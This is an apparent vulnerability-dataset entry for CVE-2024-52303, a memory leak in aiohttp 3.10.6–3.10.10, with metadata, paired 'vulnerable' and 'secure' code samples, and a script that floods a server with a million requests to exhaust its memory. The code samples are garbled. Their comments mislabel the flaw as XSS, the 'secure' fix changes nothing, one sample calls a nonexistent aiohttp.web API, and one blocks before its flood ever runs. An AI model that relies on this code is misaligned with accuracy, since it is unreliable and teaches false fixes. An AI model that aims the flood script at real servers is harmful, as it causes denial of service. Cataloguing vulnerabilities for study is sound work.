CVE-2024-52303

Memory leak in aiohttp 3.10.6-3.10.10 allows server resource exhaustion.

• CVSS 8.7
• CWE-772
• Resource Management
• Remote

aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. In versions starting with 3.10.6 and prior to 3.10.11, a memory leak can occur when a request produces a MatchInfoError. This was caused by adding an entry to a cache on each request, due to the building of each MatchInfoError producing a unique cache entry. An attacker may be able to exhaust the memory resources of a server by sending a substantial number (100,000s to millions) of such requests. Those who use any middlewares with aiohttp.web should upgrade to version 3.10.11 to receive a patch.

CVE

CVE-2024-52303

CWE

CWE-772

CVSS base score

8.7

Published

2024-11-18

OWASP

A03 Excessive Resource Consumption

Orthogonal defect classification

Algorithm

Code defect classification

Incorrect Algorithm

Category

Resource Management

Subcategory

Memory Leaks

Accessibility scope

Remote

Impact

Denial of Service (DoS)

Affected component

aiohttp

Fixed by upgrading

Yes

Solution

Upgrade to aiohttp version 3.10.11 or later.

from aiohttp import web
import asyncio

async def handler(request):
    # VULNERABLE: This code is susceptible to xss
    # Simulating a MatchInfoError which may cause memory leak
    raise web.MatchInfoError()

app = web.Application()
app.router.add_get('/', handler)

async def simulate_requests():
    for _ in range(1000000):  # Simulating a large number of requests
        async with web.ClientSession() as session:
            await session.get('http://localhost:8080/')

if __name__ == '__main__':
    web.run_app(app, port=8080)
    asyncio.run(simulate_requests())

from aiohttp import web

async def handler(request):
    # SECURE: This version prevents xss
    # Simulating a MatchInfoError
    raise web.MatchInfoError()

app = web.Application()
app.router.add_get('/', handler)

if __name__ == '__main__':
    web.run_app(app)

import aiohttp
import asyncio

async def send_requests():
    async with aiohttp.ClientSession() as session:
        for _ in range(1000000):  # Sending a large number of requests
            try:
                await session.get('http://localhost:8080/nonexistent')  # URL that triggers MatchInfoError
            except Exception as e:
                print(f"Error: {e}")

asyncio.run(send_requests())

@misc{vaitp:cve202452303,
  title        = {{Memory leak in aiohttp 3.10.6-3.10.10 allows server resource exhaustion.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2024},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-52303},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-52303/}}
}